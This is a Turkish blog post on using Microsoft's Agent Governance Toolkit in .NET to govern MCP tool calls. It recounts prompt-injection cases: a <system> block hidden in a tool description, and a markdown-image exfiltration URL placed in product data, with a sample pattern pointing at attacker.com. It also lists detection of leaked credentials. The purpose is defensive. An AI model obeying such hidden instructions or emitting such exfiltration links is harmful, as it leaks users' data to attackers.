MCP Tool Çağrılarını .NET’te Yönetmek: AGT ile Pratik Yol

MCP tool çağrılarında prompt enjeksiyonu gibi riskler, governance katmanı olmadan büyüyebilir. Bu yazıda .NET 8+ ile Agent Governance Toolkit (AGT) kullanarak MCP çağrılarını nasıl yöneteceğinizi pratik örneklerle anlatıyoruz.

Geçen ay bir bankacılık müşterisinde garip bir şey yaşadık. Geliştiriciler, iç sistemlere bağlanan bir AI agent yazmıştı. Demo da fena görünmüyordu… ta ki biri MCP üzerinden eklenen “yardımcı” bir tool’un açıklamasına saklanmış prompt enjeksiyonunu fark edene kadar. Tool adı masumdu. Açıklamanın içinde küçük bir <system> bloğu vardı ve LLM bunu resmen talimat gibi okuyordu.

Agent Governance Toolkit’in (AGT) McpResponseSanitizer bileşeni şu pattern’leri yakalıyor:

  • Dahili prompt injection blokları (<system>, <instructions> vb.) (bu kritik)
  • Kredi bilgisi sızıntıları — AWS keys, GitHub tokens, connection string’ler — bunu es geçmeyin
  • Dışarı veri taşıma URL pattern’leri (özellikle markdown image hack’leri: ![](https://attacker.com?data=...))
  • Kodlanmış payload’lar için Base64 kalıntıları

Daha geçen yılın sonunda bir e-ticaret müşterisinde gördüğümüz vaka tam buydu: agent ürün açıklaması çekiyordu ve açıklamalardan birinde markdown image olarak gizlenmiş exfiltration URL’si vardı. Model bunu render etmek isteyince işler çirkinleşebilirdi; neyse ki kontrol katmanımız vardı da kazaya dönmedi. AGT olsaydı açık konuşayım daha az kod yazardık.

GovernanceKernel: Hepsini Bağlayan Tutkal

Aslında — hayır dur, daha doğrusu, GovernanceKernel, yukarıdaki bileşenleri tek bir DI container’a register eden ve OpenTelemetry ile audit event’lerini publish eden ana sınıf gibi çalışıyor diyelim. Bunu Application Insights veya Azure Monitor’a bağlamak çok rahat oluyor.

Bir de KVKK boyutu var. Tool dönüşünde TC kimlik numarası, IBAN, telefon gibi alanlar geçiyorsa bunların maskelenmesi lazım. AGT’nin sanitizer’ı default olarak bu pattern’leri tanımıyor; Türkçe/Türkiye spesifik regex’ler eklemek gerekiyor. Ben kendi TurkishPiiPatterns sınıfımı yazdım, ileride paylaşmaya da niyetim var.

Startup mı, Enterprise mı?

Küçük bir ekipseniz ve hızlı POC çıkarıyorsanız AGT’nin tamamını kullanmak overkill olabilir. McpSecurityScanner ve McpResponseSanitizer ile başlayın; sadece bunlar bile saldırı yüzeyini ciddi azaltır. Tam policy engine’e geçmek zaman alır.

Enterprise tarafındaysanız tablo farklı. GovernanceKernel‘i ortak bir paket olarak iç NuGet feed’inize koyun ve agent ekiplerinizin büyük çoğunluğunun kullanmasını zorunlu tutun. A2A v1 ile .NET’te Çapraz Platform Agent İletişimi ile birlikte kullanırsanız agent-to-agent iletişimde de aynı politika katmanı geçerli olur.

Pratik Başlangıç Rehberi

Tamam, peki nereden başlayacağız? Benim önerim şu sırayla:

  1. dotnet add package Microsoft.AgentGovernance ile paketi ekleyin; önce production’da değil, test projesinde.
  2. Mevcut MCP sunucularınızın tool tanımlarını McpSecurityScanner‘dan geçirin. Risk score’lara bakın, şaşıracaksınız. (bence en önemlisi)
  3. En riskli tool’lar için (delete, send, transfer içerenler) YAML policy yazın, manuel onayı zorunlu kılın. (bu kritik)
  4. Sanitizer’ı LLM’e dönüş yolu üzerine koyun. Burada false positive olabilir, bir hafta gözlemleyin.
  5. OpenTelemetry’yi Application Insights veya Loki’ye bağlayın, bir dashboard kurun.

İlk haftada bir hayal kırıklığım oldu açıkçası: dokümantasyon hâlâ ham, bazı edge case’ler için kod okumak gerekiyor. Bu konuda GPT-5.5 ve Microsoft Foundry: Kurumsal AI Artık Ciddi yazısında bahsettiğim Foundry tarafının tersine, AGT henüz “şirket içi sample”lar seviyesinde. Ama yön doğru. Biraz daha pişmesi lazım.

Sıkça Sorulan Sorular

AGT, MCP olmadan da çalışır mı?

Ne yalan söyleyeyim, Şu anki sürümde asıl odak MCP üzerine. Ama hani GovernanceKernel ve policy engine aslında oldukça generic — yani kendi tool çağrı sisteminizi yazıyorsanız, custom adapter ile bağlamak mümkün. Açıkçası dökümantasyon bu senaryo için henüz biraz zayıf kalıyor.

Performansa etkisi var mı?

Benim ölçümlerimde gateway pipeline’ı, tool çağrısı başına ortalama 8-15 ms ekliyor. Sanitizer işe dönüş boyutuna göre değişiyor — mesela 10 KB JSON için 5 ms civarında. Production’da pek fark edilmiyor, ama yüksek frekanslı agent’larda batching’i düşünmek gerekebilir bence.

YAML politikalarını GitOps ile yönetebilir mıyım?

Şöyle söyleyeyim, Evet, hatta önerilen yol da zaten bu. Politika dosyalarını ayrı bir repo’da tutun, agent uygulamasına config olarak inject edin. Değişiklikler PR ile gelsin, code review yapılsın. Bu şekilde compliance ekibi de sürece dahil olabiliyor — tecrübeme göre bu kısmı es geçmeyin.

Durun, bir saniye.

AGT açık kaynak mı, ücretsiz mi?

Şu an MIT lisanslı ve ücretsiz. Bence Microsoft’un agent ekosistemini büyütmek için attığı stratejik bir adım bu. Hani ne farkı var diyorsunuz, değil mi? İleride premium özellikler gelir mi, açıkçası bilinmez — ama core kütüphanenin MIT olarak kalacağı anlaşılıyor.

Hangi .NET sürümleri destekleniyor?

.NET 8.0 ve üzeri çalışıyor. .NET Framework ya da .NET 6 desteği yok maalesef. Eğer eski bir uygulamadaysanız, agent katmanını ayrı bir .NET 8 servis olarak ayırmak en pratik çözüm bence.

Kaynaklar ve İleri Okuma

Governing MCP tool calls in .NET with the Agent Governance Toolkit (Microsoft DevBlogs)

Model Context Protocol Resmî Spesifikasyonu

Doğrusu, Microsoft Learn: .NET için AI Geliştirme Dokümantasyonu

Model Context Protocol GitHub Organizasyonu

Bu yazı yapay zeka (büyük dil modelleri) ile hazırlanmış, insan editör tarafından incelenmiştir. İçerik üretim sürecimiz.
Aşkın KILIÇ

20+ yıl deneyimli Azure Solutions Architect. Microsoft sertifikalı bulut mimari ve DevOps danışmanı. Azure, yapay zekâ ve bulut teknolojileri üzerine Türkçe teknik içerikler üretiyor.

AZ-305AZ-104AZ-500AZ-400DP-203AI-102

Bu içerik işinize yaradı mı?

Benzer içerikleri kaçırmamak için YouTube ve GitHub hesaplarımı takip edin.

Haftalık Bülten

Her pazar özenle seçilmiş teknoloji yazıları doğrudan e-postanıza gelsin.

2 Yorum

  1. MCP güvenliği konusunda Türkçe kaynak bulmak gerçekten zordu, tam ihtiyacım olan yazıydı. Prompt enjeksiyonunu governance katmanıyla ele almanız özellikle dikkat çekici, bunu production ortamında denemek istiyorum. AGT’yi daha önce duymamıştım, biraz daha araştıracağım.

Yoruma kapalı.

✉

Haftalık Bülten

Azure, DevOps ve Yapay Zeka dünyasındaki en güncel içerikleri her hafta doğrudan e-postanıza alın.

Spam yok. İstediğiniz zaman iptal edebilirsiniz.
📱
Uygulamayı Yükle Ana ekrana ekle, çevrimdışı oku
Kategoriler
Ara
Paylaş
WhatsApp
İçindekiler
← GPT-5.2 ve GPT-5.2-Codex Emekl...
Visual Studio’da Bulut Ajanlar... →
📩

Gitmeden önce!

Her pazar özenle seçilmiş teknoloji yazıları ve AI haberleri doğrudan e-postanıza gelsin. Ücretsiz, spam yok.

🔒 Bilgileriniz güvende. İstediğiniz zaman ayrılabilirsiniz.

📬 Haftalık bülten: Teknoloji + AI haberleri
Beni Takip Et Yeni Azure / AI / DevOps yazılarını GitHub ve RSS üzerinden takip edin.